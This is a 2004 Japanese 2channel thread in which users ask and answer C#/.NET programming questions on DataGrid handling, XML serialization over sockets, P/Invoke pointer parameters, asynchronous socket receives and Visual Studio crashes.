440 名前:デフォルトの名無しさん mailto:sage [04/10/25 23:03:42] >>439 > for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++) 最後のRowはチェックしないのな。 String.IndexOfは正規表現由来のメタ文字なんか考慮しない。 "abc[def]g".IndexOf("[d")は3を返す。 //まあ相談室スレの487-488みたいなUnicode由来の(と思われる)問題はあるようだけど。 実際にsStripPanel1.TextとDataGrid.Rows[i].Cells[0].Value.ToString()を表示させてみたら? sStripPanel1.Textが意外な文字列になってる可能性がある。 念を入れてBitConverter.ToString(Encoding.Default.GetBytes(sStripPanel1.Text))とかでバイト単位でチェックする。
441 名前:デフォルトの名無しさん mailto:sage [04/10/25 23:15:18] >>440 どうもありがとうございます。 >最後のRowはチェックしないのな。 します、直します( ´Д⊂ヽ IndexOfで普通にできるのが分かっただけでも良かったです。 たぶん自分の書いたコードが相当おかしいのが原因だと思います。。。 色々やってみます。ありがとうございましたm(_ _)m
442 名前:デフォルトの名無しさん mailto:sage [04/10/25 23:30:28] 非ビジュアルなコンポーネントを作りたいのですが、 書籍かWEBで適当な入門書があったら教えてください。 C#によるコンポーネントプログラミング (ttp://www.amazon.co.jp/exec/obidos/ASIN/4274065340/) にはビジュアルなコントロールの作り方しか載っていませんでした。 よろしくお願いします。
443 名前:デフォルトの名無しさん mailto:sage [04/10/26 00:06:51] >>442 そりゃ漠然としすぎてて書きようがないからじゃないかなぁ。 ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vbcon/html/vbconComponentAuthoring.asp ms-help://MS.VSCC/MS.MSDNVS.1041/vbcon/html/vbconComponentAuthoring.htm を参照にする。 まあ、Componentを継承させときゃいいよ、うん。
444 名前:在日外国人参政権反対 mailto:sage [04/10/26 00:13:31] >442 .NETライブラリみたいに複数のプログラムで使いたいってことじゃないの?
445 名前:デフォルトの名無しさん mailto:sage [04/10/26 00:31:58] >>443 ありがとうございます。 ざっとみたところ、本当にComponentを継承するだけで良さそうですね。素晴らしい。 >>444 いえ、提供されているCOMがあるのですが、使い勝手がイマイチなので、 ラッパーコンポーネントを作ろうと思っています。
446 名前:デフォルトの名無しさん [04/10/26 01:11:52] DataTableをdataGrid.DataSourceに設定して、 dataGridのセルがクリックされたときに元のDataTabeのどのRowにあたるか、 見つける方法ないですか? ソートされちゃうと順番変わってわけわかめ。でも自動ソート機能は欲しい。
447 名前:446 mailto:sage [04/10/26 01:14:57] Windows.FormsのDataGridです。
448 名前:デフォルトの名無しさん mailto:sage [04/10/26 01:59:00] >>446 dataGrid.DataSource.Rows[dataGird.CurrentRowIndex]; つか設計おかしいよ。順番気にしてる時点で。
449 名前:デフォルトの名無しさん mailto:sage [04/10/26 02:08:15] >>448 わけあってDataGridをListViewのように使ってるんです。 で、残念ながらそのコードだと、ソート前のDataRowしか取れませんでした。
450 名前:デフォルトの名無しさん mailto:sage [04/10/26 02:24:19] あー、そういうことか。 主キーのところの値が完全一致するのを探せば良いんじゃない? //カラムの並びを入れ替えられるとお手上げかな。
451 名前:デフォルトの名無しさん mailto:sage [04/10/26 02:46:42] >>450 やっぱりそういう力技しかないんですね・・・。カラムの並び替えは無しの方向でやってます。 ありがとうございました。
452 名前:デフォルトの名無しさん mailto:sage [04/10/28 00:49:32] >>446 CurrencyManagerを使えばできないかな
453 名前:デフォルトの名無しさん mailto:sage [04/10/28 00:56:18] ふとどぼんを見に行ったらこんなのもあったが。 ttp://dobon.net/vb/dotnet/datagrid/currentrow.html
454 名前:デフォルトの名無しさん mailto:sage [04/10/29 13:04:24] Socket.Send()を利用するため、XmlSerializerでシリアル化したオブジェクトをバイト配列にコンバートして Send()につっこみたいのですが、XmlSerializerの引数はstream用でバイト配列にする方法が見つかりません。 やっぱできないのでしょうか。。。。
455 名前:デフォルトの名無しさん mailto:sage [04/10/29 13:15:50] MemoryStream ms = new MemoryStream(); xmlSerializer.Serialize(ms, obj); byte[] bytes = ms.ToArray(); socket.Send(bytes, 0, bytes.Length); ということかな?
456 名前:デフォルトの名無しさん mailto:sage [04/10/29 13:18:23] >>454 MemoryStream
457 名前:デフォルトの名無しさん mailto:sage [04/10/29 13:20:12] 455のsocket.Send、パラメータをStream.Writeと勘違い……。
458 名前:454 [04/10/29 14:29:46] >>455 ,456さん ありがとうございます、MemoryStreamをつかうんですね ためしてみます(`・ω・´)
459 名前:デフォルトの名無しさん mailto:sage [04/10/29 22:47:34] .net2で質問なんですけど、、、 this.TopMost = !this.TopMost; とやると常に手前にしたときにメインメニューのドロップダウンの部分が フォームの下に隠れちゃうんですけど何がいけないんでしょうか。。。?
460 名前:デフォルトの名無しさん mailto:sage [04/10/29 23:58:23] Visual Studioで使われているようなタブコントロールを作りたいのですが、 あれはSystem.Windows.Forms.TabControlからの継承で作れるものなのでしょうか。 サードパーティ製のものもあるにはあるのですが、 せっかくなので自分で作ってみたいのです。
461 名前:在日外国人参政権反対 mailto:sage [04/10/30 01:16:55] >460 自分で気合で描画することを進めます。
462 名前:454 mailto:sage [04/10/30 17:42:20] たびたびすいません、454です >>455 を参考にやってみましたが、うまくいかず(´・ω・`) デシリアライズはこれでいいんですよ・・・ね・・・? MemoryStream msRead = new MemoryStream(); XmlSerializer readSerializer = new XmlSerializer(typeof(Obj); msRead.Write(byteAry,0,byteAry.Length); Obj obj = (Obj)readSerializer.Deserialize(msRead); msRead.Close();
463 名前:デフォルトの名無しさん mailto:sage [04/10/30 17:46:03] >>462 MemoryStream msRead = new MemoryStream(); XmlSerializer readSerializer = new XmlSerializer(typeof(Obj); msRead.Write(byteAry,0,byteAry.Length); msRead.Position = 0; // コレ追加よろ Obj obj = (Obj)readSerializer.Deserialize(msRead); msRead.Close();
464 名前:454 mailto:sage [04/10/30 17:52:28] >>463 おぉぉ、うまくいったー ありがとうございます Position指定必要だったんですね・・・・まったく気づかなかった(つД`)
465 名前:デフォルトの名無しさん mailto:sage [04/10/30 18:26:25] >>461 ちまちまやってみますわ。 .net 2.0になっても各種コントロールはショボイままだった…。 幾つか良くなったのもあるけど。
466 名前:デフォルトの名無しさん [04/10/30 21:12:36] CSVから読み込んで、datasetに収まってる 7995.005229 とかを少数以下は無視していいのでintにしたいのですがどうすればいいですか? Convert.Tointが使えなくて困ってます。(少数いかにも数字があるから?)
467 名前:デフォルトの名無しさん mailto:sage [04/10/30 21:14:38] >>466 doubleにしてからintに落とせば?
468 名前:デフォルトの名無しさん mailto:sage [04/10/30 21:16:36] >>465 基本的に言語のライブラリはOSが提供するUIに口出ししないし、するべきではありません。 そういうのはサードパーティの仕事です。
469 名前:デフォルトの名無しさん [04/10/30 21:21:44] そのサードパーティのライブラリでよく使われる?ActiveReport やFlexGridなどの解説本を探してみたのだが、全然見つからないね。 ヘルプだけ見て使いこなせということなんだろうか。
470 名前:466 [04/10/30 22:10:21] >>467 いけました。ありがとうございました
471 名前:デフォルトの名無しさん mailto:sage [04/10/30 23:28:29] >>468 まぁ今の".NET Framework"はそうかもしれないけど、 いずれWindowsのAPIになっていくわけでしょ。 そうするとやっぱりWindowsが提供するネイティブコントロールは しょぼいってことになるわけで、そろそろどうにかならないものかとは思う。
472 名前:デフォルトの名無しさん mailto:sage [04/10/30 23:36:02] >>469 VS標準のCrystalReportも日本語だとあまり情報ないよね。 仕事で作るような帳票類はGDIでゴリゴリ書いてる時間ないから しかたなく使ってるけど、正直"たぶんこうやって使うんだろう"の世界。
473 名前:在日外国人参政権反対 mailto:sage [04/10/30 23:48:30] >468 Windows.Formsにまとめてるのはその意図を汲んでのことだろう。 だからこそそれを拡充させてほしい気はする。
474 名前:デフォルトの名無しさん mailto:sage [04/10/30 23:58:33] リストボックスから条件に見合ったオブジェクトを削除したいのですが、 foreach ( UserList logoutUser in listBox1.Items ) { if ( recMessage.TargetUserID == logoutUser.UserGuid ) { listBox1.Items.Remove(logout); } } と書くと System.InvalidOperationException: この列挙子が連結されている一覧は変更されています。 列挙子は、一覧が変更しない場合に限り使用できます。 とゴルァされるのですが、いい方法ないでしょうか・・・。
475 名前:デフォルトの名無しさん [04/10/31 00:01:00] あ、最後のところRemove(logoutUser)でつ
476 名前:デフォルトの名無しさん mailto:sage [04/10/31 00:04:54] そりゃ列挙中に肝心の列挙するコレクションが変わってしまっては話にならないだろ。 forで回してやるとかしな。
477 名前:474 mailto:sage [04/10/31 00:13:16] ありがとうございました。 1回ブツが釣れれば十分なのでbreakかましたらうまくいきました 吊ってきますorz
478 名前:デフォルトの名無しさん mailto:sage [04/10/31 12:12:15] 「すれ立てるまでもない質問・・・」に書き込んだら怒られてしまいました。 同じ内容ですが、こちらに書かせてください。 VS.NetのC#でプログラム作ってるんですが、データセットから テキストボックスにバインドする方法が分からないんです。 といっても、よくあるデータテーブルの列単位でバインドするやり方ではなくて データテーブルのある条件に合致するレコードの項目をバインドしたいんです。 例えば Key 列1 列2 001 1AAA 1BBB 002 2AAA 2BBB 003 3AAA 3BBB 004 4AAA 4BBB 005 5AAA 5BBB みたいなデータテーブルから、TextBoxにはKey=003の条件によって 列1の内容(3AAA)をバインドしたいんです。 もちろん、バインドするからには変更結果も反映されていてほしいんですが・・・ お願いします。
479 名前:デフォルトの名無しさん mailto:sage [04/10/31 18:21:08] ふと思ったんですけど、 using System.Windows.Forms; という感じにしておいた部分を using System.Windows.NewForms; とかに書き換えることで、クラス構成をそっくり新しくする事って邪道ですか?
480 名前:デフォルトの名無しさん mailto:sage [04/10/31 18:22:36] オレ的には邪道
481 名前:デフォルトの名無しさん mailto:sage [04/10/31 19:07:04] >>479 その場合、 using System.Windows.Forms; ↓ using No479.Windows.Forms; みたいに企業名(Systemの部分)を変えたほうがいいんじゃないか。 ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/cpgenref/html/cpconnamespacenamingguidelines.asp
482 名前:479 mailto:sage [04/10/31 19:11:46] >>481 ちゃうちゃう System.Windows.Forms と System.Windows.NetForms の中に、 型は同じだけど挙動の異なるクラスがあったときに、 using 文でどちらを採用するか切り替えるのは邪道かな?って事
483 名前:479 mailto:sage [04/10/31 19:12:21] >>482 別に名前空間名はなんだって良いんだが
484 名前:デフォルトの名無しさん mailto:sage [04/10/31 20:48:00] >>482 そういうクラスが大量にあるソースを目の前にしたときに激しい絶望感に襲われるのでやめてください。 using書いてるのにnamespaceフルに書いて別のnamespaceのクラスを使用されたりして混沌に拍車がかかったりします、してます……
485 名前:479 mailto:sage [04/10/31 20:52:06] 何となく分かりました。皆さんも回答有難う御座います >>484 がんがって下さい orz
486 名前:デフォルトの名無しさん mailto:sage [04/10/31 20:57:35] >>484 using Hoge = System.Windows.Forms; Hoge.Form = new Hoge.Form(); で随分楽になると思うけど。 まあ479みたいなのは見たくもないと言うのはよく分かる。
487 名前:デフォルトの名無しさん mailto:sage [04/11/01 02:18:40] >479 そういうののためにAbstractFactoryとかあるとおもうのだけど。 あれは切り替えできるとともに、システム上での選択肢をひとつに強制するという使い方でもある。 ソースごとにusingで切り替えられるのは>>484 のいうとおりたちの悪いバグの元。
488 名前:デフォルトの名無しさん mailto:sage [04/11/02 04:49:20] FormクラスのActivate()メソッドを使用してます >>アクティブなアプリケーションであるフォームをアクティブにした場合は、そのフォームが最前面に移動します。 >>アクティブなアプリケーションではないフォームの場合は、そのフォームのウィンドウ キャプションが点滅します。 とあるのですが、他のアプリケーションに切り替えてるときにこのメソッド呼び出されると、最前面に来る場合があるのですが、 他のアプリケーションにフォーカスしている ≠ その他のアプリケーションのフォームがアクティブである ということなのしょうか・・・? MSNメッセンジャーのように、通知が来たときに点滅するだけでいいのですが、 これってWin32API叩くしかないんでしょうか・・・。
489 名前:デフォルトの名無しさん mailto:sage [04/11/02 09:28:31] >>488 なるねー。 .NET2.0ならFlashメソッドってのがあるんだけど。
490 名前:488 [04/11/02 14:36:14] 1.1じゃムリかなぁ(つД`)
491 名前:デフォルトの名無しさん mailto:sage [04/11/02 17:24:17] VSの画面にはドッキングウィンドウなどありますが、あのコンポーネントは何処にありますか? あの画びょうのマークのついたドッキングウィンドウ・コンポーネントと、 プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を 探していますが見つからない。
492 名前:デフォルトの名無しさん mailto:sage [04/11/02 17:36:37] >>491 とりあえず > プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を はPropertyGridだな。こいつは.NET Framework標準。 ドッキングウィンドウは……the Code Projectにあったようななかったような。
493 名前:デフォルトの名無しさん [04/11/02 18:59:20] richTextBox1.AppendText( recMessage.ToString() + " : " + recMessage.Message + "\r\n" ); を richTextBox1.AppendText( recMessage.ToString() + " : " /* + recMessage.Message + "\r\n" */); string[] splString = recMessage.Message.Split(new char[] {'#'}); for ( int count = 0 ; count + 1 <= splString.Length ; count++ ){ if ( count != 0 ){ String colorCode = splString[count].Substring(0,1); switch ( colorCode ){ case "1": richTextBox1.SelectionColor = System.Drawing.Color.Blue; richTextBox1.AppendText(splString[count].Substring(1)); break; (中略) default : richTextBox1.AppendText(splString[count]); break; } }else{ richTextBox1.AppendText(splString[count]); } } richTextBox1.AppendText("\r\n"); } にしたところ、エラー音が出るようになりました(処理は正常に行われてるっぽい) なぜでしょう・・・?
494 名前:デフォルトの名無しさん mailto:sage [04/11/02 23:03:59] >>491 DockPanelSuite sourceforge.net/projects/dockpanelsuite/ 無償でオープンソース。現在ベータ版で、メニューの統合がうまくいかないなどバグが残る。 DotNetMagic www.dotnetmagic.com/ 機能的にはおそらく最強。でも有償。 MagicDocking www.codeproject.com/cs/miscctrl/dockingmanagerextender.asp DotNetMagic の旧バージョン。ライセンスはよくわからん。 SharpDevelopに使われるなど実績あり。 Docking Suite www.divil.co.uk/net/controls/dockingsuite/ 現在ベータ版。非商用利用に限り無償。 代表的なところでは、こんなものか。見た目や動きが微妙に違うので、実際に使ってみて選んだ方がいい。
495 名前:デフォルトの名無しさん mailto:sage [04/11/03 10:49:11] 鯖から非同期に送られてきたデータをバックグラウンドで取得し、イベントとして通知するようなライブラリ作ってます 1:TcpClient を使っているとき、サーバから切断されたことをすぐに知るにはどうすればいいか 2:異常切断されたときイベントなどで通知することを考えているが、 通常切断したときも同じイベントを発行したほうがライブラリを使う側にとって便利なのかどうか ちょっとアンケートがましいですが意見をお聞かせくださいm(_ _)m
496 名前:デフォルトの名無しさん mailto:sage [04/11/03 12:41:36] プログラム歴2ヶ月で答えると叩かれそうだが・・・ 1, byte[] byteAry = 受信データ; if ( byteAry.Length <= 0 ) { パイプカット } 2, ライブラリがエラーの処理をどこまでするかによるんじゃないでしょうか でしゃばってスマソ
497 名前:デフォルトの名無しさん mailto:sage [04/11/03 23:25:41] >495 1.物理的に切断を瞬間的に不可能。 TCPのキープアライブ使ってもいいが融通がきかん、自分でキープアライブパケット投げるようにしておけ。 2.同じイベントでも(・∀・)イイ!!が、通常なのか異常なのかわかるようにしておけ。エラー原因などもプログラムで扱えるよう定義してふんだんな情報を送っておけ 以上。
498 名前:杏仁 [04/11/05 17:39:49] 最近C#を始めました。良く分からないので質問させてください。 いま、Cで作成されたDLLをDllImportで呼び出しています。 そのDLLの仕様を見ると関数は void hoge(UINT *pWidth, UINT *pHeight); とポインタで呼び出していました。 [DllImport("hogehoge.dll")] public static extern void hoge(int w, int h); としても当然うまくいきませんでした。 C#でこのような場合ようやってDllImportすればいいのでしょうか? お手数ですが、お教えください。よろしくお願いします。
499 名前:デフォルトの名無しさん mailto:sage [04/11/05 17:46:06] >>498 ref System.UInt32 にする。 (まぁ小さげな値だろうから ref System.Int32 でもいいだろうけど)
500 名前:デフォルトの名無しさん mailto:sage [04/11/05 17:53:35] System.IntPtrで外部関数のパラメータを定義し System.Runtime.InteropServices.Marshal.AllocCoTaskMemでメモリを確保、 System.Runtime.InteropServices.Marshal.WriteInt32で確保したメモリに書き込み、 関数に渡す。 結果をSystem.Runtime.InteropServices.Marshal.ReadInt32で読み込んで System.Runtime.InteropServices.Marshal.FreeCoTaskMemでメモリを破棄する。 uint*程度でやる事じゃありません。
501 名前:デフォルトの名無しさん mailto:sage [04/11/05 17:58:17] 関数がどんな性質なのかにもよるんだよなー。 これがよくもあり悪くもあり。
502 名前:杏仁 [04/11/05 18:34:05] 回答ありがとうございます。 >>499 > ref System.UInt32 にする。 [DllImport("hogehoge.dll")] public static extern void hoge(ref System.UInt32 w, ref System.UInt32 h); ということでしょうか?この場合、どうやって呼び出せばいいのですか? int w=0; int h=0; hoge(w,h); としてもうまくいきません。 >>500 回答していただいたのにさっぱり・・・。 もう少し分かりやすくお願いできますでしょうか? 最近始めたばかりで、さっぱり右も左も分からない状態です。 よろしくお願いします。
503 名前:デフォルトの名無しさん mailto:sage [04/11/05 18:39:42] >>502 ヘルプでrefキーワードぐらい調べようよ〜。 呼び出す時もrefキーワードが必要。 hoge(ref w, ref h); 500はただのジョークだから。こんな手段もあるよってだけ。 //と最後の行で言ったつもりだったんだけど。
504 名前:デフォルトの名無しさん mailto:sage [04/11/05 19:04:46] >>502 蛇足の補足。たぶんこの場合は関係ないだろうけど、ポインタ値が指す領域にある値だけではなく、 そのものに意味がある場合には、System.IntPtr 型にしておいて、ポインタの指す先のアクセスは >>500 風にやるようなこともある、ってのが >>501 ね(たぶん)。 例えば hoge の正体が hoge(UINT* w, UINT* h) { delete [] w; delete [] h; } みたいな場合とか。
505 名前:デフォルトの名無しさん mailto:sage [04/11/05 19:05:31] >>そのものに意味がある ↑ 「ポインタ値そのものに意味がある」の編集ミスですた。
506 名前:デフォルトの名無しさん [04/11/06 00:54:32] this.pictureBox1.MouseWheel += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseWheel); private void pictureBox1_MouseWheel(object sender, MouseEventArgs e) { Console.WriteLine(e.Delta); } と記述してるのですが、マウスホイールくるくるしてもpictureBox1_MouseWheelイベントが発生してくれません。 そもそもなんで、MouseWheelだけは手動で書かないといけないのかと(ry
507 名前:デフォルトの名無しさん [04/11/06 01:01:47] >>506 Console.WriteLine();を、MessageBox.Show("",""); にしても駄目?
508 名前:506 mailto:sage [04/11/06 01:08:21] だめっぽいです ブレークポイントしかけても反応してくれません。 Panelの上に張ってるのでPanelにもイベントハンドらを記述したのですが どっちもイベントが発生しないみたいです。
509 名前:デフォルトの名無しさん mailto:sage [04/11/06 01:10:57] >>508 >Control.MouseWheel イベント > コントロールにフォーカスがあるときにマウス ホイールが動くと発生します。 PictureBoxやPanelはユーザの通常操作ではフォーカスを得る事はない。
510 名前:508 mailto:sage [04/11/06 01:18:35] なるほど。 Mouse_EnterしたらFocus()するようにするとうまくいきました。 お騒がせしました。
511 名前:デフォルトの名無しさん [04/11/06 18:29:40] 今C#の文法書を読んで勉強中なんですが 文法などを一通り理解したら次は何をすべきなんでしょうか? guiアプリケーションを作れる人は文法などを理解したら次は何をしたんですか?
512 名前:デフォルトの名無しさん mailto:sage [04/11/06 18:32:41] 作りたいアプリを作りつつ GUIパーツをいろいろ試したり細かいプロパティ・メソッドを調べたり 非GUIなクラスの使い方を覚えたりどんなクラスが存在するのかを調べたり。
513 名前:デフォルトの名無しさん mailto:sage [04/11/06 18:32:45] >>511 作りたいものを作れ。手を動かせ。 「習うより慣れろ」ということわざがあるが、 プログラミングの場合「習ったら慣れろ」ってところか。
514 名前:デフォルトの名無しさん mailto:sage [04/11/06 18:41:15] わからないことがあったらここに質問しにきていいんですかね? タブ型メモ帳を作ろうとしてお世話になったのが自分なのですが。 MSDNライブラリをみながら作るだけではちょっとムリがあるかなと思いました。
515 名前:495 mailto:sage [04/11/06 20:36:09] >>496-497 亀ですがdくすです。 む〜。実際にデータ送らないと切断検出できないですか〜。 送信、受信が別スレッドに分かれているんで、リターンを待つ同期に一苦労^-^;
516 名前:デフォルトの名無しさん mailto:sage [04/11/06 20:44:40] >>515 送信と受信を一つのスレッドでやるとエライ事になるよw あとTcpClientは結構ゴミだからクライアントアプリでもSoket使った方がいいかも。
517 名前:495 mailto:sage [04/11/06 20:51:11] >>516 >クライアントアプリでもSocket 具体的にどのような点が優れているんですか? ちょっとワカラン orz
518 名前:デフォルトの名無しさん mailto:sage [04/11/06 20:58:32] >>517 NetworkStreamでしか送受信出来ない、細かい制御(受信側のみ切断とか)も出来ない ついでに非同期送受信も出来ない・・・ TcpClientで作っても後々書き直すことになると思うw
519 名前:495 mailto:sage [04/11/06 21:00:06] >>518 ラジャ^-^;
520 名前:495 mailto:sageここはお前の日記j(ry [04/11/06 21:01:24] あ〜送受信系統を1つのクラスに押し込めて置いてよかったw このクラスの中身だけ変えればおkだわ
521 名前:デフォルトの名無しさん mailto:sage [04/11/06 22:26:52] do.sakura.ne.jp/~junkroom/cgi-bin/megabbs/readres.cgi?bo=lounge&vi=1003826049&res=81&fi=no こんな感じで送受信してます、たまにデータが続けざまに来るとエラーでるんですが、どうしたらよいでしょう・・・。
522 名前:デフォルトの名無しさん mailto:sage [04/11/07 00:13:29] えーと・・・ BeginReceiveしてEndReceiveした後は、また非同期受信するなら再度BeginReciveしないと駄目なような・・・ それにこの用途ならNetworkStream使った方が楽かも・・・(俺ならそうするw) あと、一度の受信でバッファ全部捨ててるけど、 非同期受信は何バイト受信するかわからないから、先取りしたデータは捨てるんじゃなくて プールしてその上でさらにバッファを貯めるみたいにすべき。 あと(ぉ終了処理はShutdownの後でCloseしよーw
523 名前:521 mailto:sage [04/11/07 01:12:53] 了解です!(BeginRecieveするメソッドにソケット渡し忘れてた・・・(/ω\)) NetworkStream調べてみます〜 >あと、一度の受信でバッファ全部捨ててるけど、 >非同期受信は何バイト受信するかわからないから、先取りしたデータは捨てるんじゃなくて >プールしてその上でさらにバッファを貯めるみたいにすべき。 int recBytesSize = socket.EndReceive( ar ); ↑で受信データサイズ抜いた時点で必要とするbyte配列は確定してない・・・ということですか?
524 名前:495 mailto:sage [04/11/07 16:00:26] 何か似たような事やっている人がいるなぁ ^-^; おまいは俺か?
525 名前:杏仁 [04/11/07 21:51:38] >>498-503 ありがとうございました。おかげで動作しました。 もう一つ質問なのですが、DLLの仕様を見ると BYTE *HOGE() という関数があります。 この場合は、どうやって呼び出せばいいでしょうか? よろしくお願いします。
526 名前:521 mailto:sage [04/11/07 21:56:34] >>495 あなたの子よ!認知してよ! 非同期NetworkStreamのサンプル見つからない(MSDNのだと断片的でわからず・・・)
527 名前:デフォルトの名無しさん mailto:sage [04/11/07 22:04:54] ところで Bigin〜 したら必ず End〜 しなきゃいけないの? やりっぱなしじゃ駄目?
528 名前:527 mailto:sage [04/11/07 22:05:19] 凄く打ち間違い orz
529 名前:デフォルトの名無しさん [04/11/07 22:16:49] ランダムにping送って、応答があった場合、応答先のPCのNICのMACアドレスを取得する方法ってありますか?
530 名前:デフォルトの名無しさん mailto:sage [04/11/07 22:34:26] よく分からないけど通報しますた
531 名前:デフォルトの名無しさん mailto:sage [04/11/07 22:55:54] ブロードキャストがしたいんじゃないかな…
532 名前:デフォルトの名無しさん mailto:sage [04/11/07 22:57:25] ARPのことなのだろうか・・・・ それとも今世界のどこかから自分のMAC抜かれたいのだろうか
533 名前:デフォルトの名無しさん mailto:sage [04/11/07 23:21:05] マックでバーガー三つ買って来るか・・・ハァ・・・
534 名前:デフォルトの名無しさん mailto:sage [04/11/07 23:38:51] 漏れのもたのむ
535 名前:デフォルトの名無しさん mailto:sage [04/11/07 23:55:40] >529 pingパケットにその情報があるか見てみれば?
536 名前:デフォルトの名無しさん [04/11/08 00:14:47] C#のクラスを継承してManageC++のクラスを作りたいんですが、 メンバ関数のオーバーライドがうまくいきません。 C#のクラス↓ public abstract class ClassCS { public abstract void Func(ref int c); } void FuncC(int __gc& C) や void FuncC(int &C) ではだめでした。 この関数FuncをオーバーライドするにはC++でどのように記述すればいいんでしょうか?
537 名前:デフォルトの名無しさん mailto:sage [04/11/08 01:38:42] >>525 それはもう関数次第としか言えない。 >500みたいなことをする可能性が高いが。 >>536 ええとポインタを引数に取るんだからvoid FuncC(int* c)じゃないのかな。
538 名前:デフォルトの名無しさん mailto:sage [04/11/08 02:37:53] >>535 それだと、同一ネットワーク内ならOKだけど、L3装置かましたときに中継点のMACになるような
539 名前:杏仁 [04/11/08 10:14:41] >>537 >それはもう関数次第としか言えない。 画像バッフアのアドレスが格納されて帰ってくる関数みたいなのですが・・。 > >500みたいなことをする可能性が高いが。 ・・・・。大変そうですね。私にできるかどうか・・・。 サンプルとか参考になるサイト等ありますでしょうか?
540 名前:デフォルトの名無しさん mailto:sage [04/11/08 13:18:34] >>539 関数次第なんだからサンプルも何もないと思うけど?
541 名前:デフォルトの名無しさん mailto:sage [04/11/08 13:32:01] >>539 unsafe で IntPtr を byte* にでもキャストして、画像バッファのメモリをアクセスすれば良いと思う。 メモリの中身にアクセスする必要がないなら、IntPtr で受け取っておいて、他に渡す必要があるなら また IntPtr で渡してあげるだけ。 Susie のプラグインを C# から使いたいとか、そういうことですか?
542 名前:杏仁 [04/11/08 15:20:19] >540 541 解答ありがとうございます。 ん〜。勉強不足で折角の解答の意味があまり理解できずに申し訳ありません。 とりあえず、IntPtrをもう少し勉強してみます。 >Susie のプラグインを C# から使いたいとか、そういうことですか? 画像入力ボードのDLLを使って画像の取り込みを行いたいと思っています。
543 名前:デフォルトの名無しさん mailto:sage [04/11/08 16:15:09] 此処で質問して良いのかどうか、ちょっと不安なのですが・・・ 現在、既存システム(C+VB6)をC#で移植しています。 既存システムはVB6でユーザインターフェースを作り、 CでDLLを作って、VB6からDLLを呼び出しています。 VB6のインターフェース部分は特に問題無くC#に移植できたのですが、 Cで作ったDLLの関数が結構多く、またC#から呼び出すのも厄介な状況です。 MSの技術情報でWin32APIと.NETFrameworkの対応表で幾つかはそのままC#で実装しましたが、 残りのDLL関数をManagedC++でDLLを再度作り直し、そのDLLをC#から直接使う事になりました。 そこで質問なのですが、ManagedC++でSTLのmapを使いたいのですが、 コンパイル時にエラーとなってしまいます。 ManagedC++ではSTLなどテンプレートを使う事はできないのでしょうか? また、ManagedC++で作った関数で、.NETのHashtableなどを返す関数は作れないのでしょうか?
544 名前:デフォルトの名無しさん mailto:sage [04/11/08 16:22:06] >>543 managed C++ やろうぜ!! pc5.2ch.net/test/read.cgi/tech/1014486422/ //沈んでるなぁ……。
545 名前:536 [04/11/09 00:34:22] >>537 >ええとポインタを引数に取るんだからvoid FuncC(int* c)じゃないのかな。 返答ありがとうございます。 試してみましたが、うまくいかないようです。 自分でもいろいろ試してみて、Manage C++側はFunc(int __gc &c)になるはずだと思ったんですが、 下のプログラムを実行すると『抽象クラスまたはインターフェイス 'CPP.CPP' のインスタンスを作成できません。』といったエラーが出ます。 CPPのFuncをオーバーライドできてないってことだと思うんですが、どうすればちゃんとオーバーライドできるんでしょうか? Manage C++↓ namespace CS { public abstract class CS { public abstract void Func(ref System.Int32 c); } } C#↓ namespace CPP { public __gc class CPP : public CS::CS { public: void Func(int __gc &c){} }; } static void Main(string[] args) { CS.CS S = new CPP.CPP(); }
546 名前:デフォルトの名無しさん [04/11/09 01:08:36] 突然ですがお知らせです。 大阪(西梅田)、新宿(JR駅前)のそれぞれ一等地に 拠点を構え、業績急上昇中!未経験者大募集中!の ソフトウェア開発会社 グリーンシステムを応援するHPです。 www.geocities.jp/grs_hp/ このスレの読者の人のような、レベルの高い人にぴったりかと 思います。 最高の会社にするため、みんな頑張ってます!
547 名前:デフォルトの名無しさん [04/11/09 01:16:15] このスレの読者の人のような、デンパレベルの高い人にぴったりかと 思います。 最高の会社にするため、みんな頑張って2chに投稿してます!
548 名前:デフォルトの名無しさん [04/11/09 02:02:26] >>546 俺はチョコレート嫌いでチーズケーキ好きだから無理ぽ(´・ω・`)
549 名前:デフォルトの名無しさん [04/11/10 14:32:04] 以前からよくVisualStudioがポコポコこける原因が判ったのですが、 その原因というのは、ソリューション中にControlのプロジェクトと 利用するアプリの複数のプロジェクトを作って アプリのプロジェクトからControlのプロジェクトを参照して、 Controlのプロジェクトのコントロールをツールボックスにいれると頻繁に落ちます。 VisualStudio からしてみれは参照しているコントロールを突如更新されては堪らないというのは分るのですが TestツールのNUnitでも外部から書き換えを検出して見事にやっているので、 更新している本人の VisualStudio にできないはずが無いだろうと思うのですが、できていないようです。 結局コントロールのDLLは別のソリューションで作って解決したのですが、まとめてビルドできなくて結構不便です。 誰かこうしたら便利だ!! って方法がある人がいたら教えてくださいです。
550 名前:デフォルトの名無しさん mailto:sage [04/11/10 14:37:21] >>549 同じような事したことあるけど、VSがポコポコ落ちるような事なかったけどなぁ・・・ 他の開発環境のせい? それともマシンの性能? やっぱり、日頃の行い?
551 名前:デフォルトの名無しさん [04/11/10 15:03:12] >>550 ほんと? 相当やりこんでほぼこれだと特定した物なんだけど……
552 名前:デフォルトの名無しさん [04/11/10 15:05:09] 漏れも未体験だな。
553 名前:デフォルトの名無しさん [04/11/10 15:08:17] すんません、 その問題おこらないソリューション一式をアップローダに上げてもらえませんか? もしこれが原因でないとすれば、かなり悩みます。
554 名前:デフォルトの名無しさん mailto:sage [04/11/10 15:17:40] >>553 そんなソリューション一式、アップできると思うのか? 会社でやってる仕事のものなら、特に上げられない。 新手の産業スパイかなにかですか? 買うと言うなら送りますよ。 勿論、ソースから何から。 ドキュメントは要らないだろうから、値引きするけど、それでも数百万は貰うよ?
555 名前:デフォルトの名無しさん [04/11/10 15:22:09] >>554 もちろん全部上げろという意味じゃないですよっ、そんなの当たり前です そんなものアップできるほど小さくも無いでしょうし、見る側のこっちもたまりません。 最低限でって話ですよ。 てゆうかアンタただの煽りでしょ。
556 名前:デフォルトの名無しさん [04/11/10 15:23:35] どうやったら再現できるのか知りたいくらいだw
557 名前:デフォルトの名無しさん mailto:sage [04/11/10 15:24:04] >>554 きちがい?
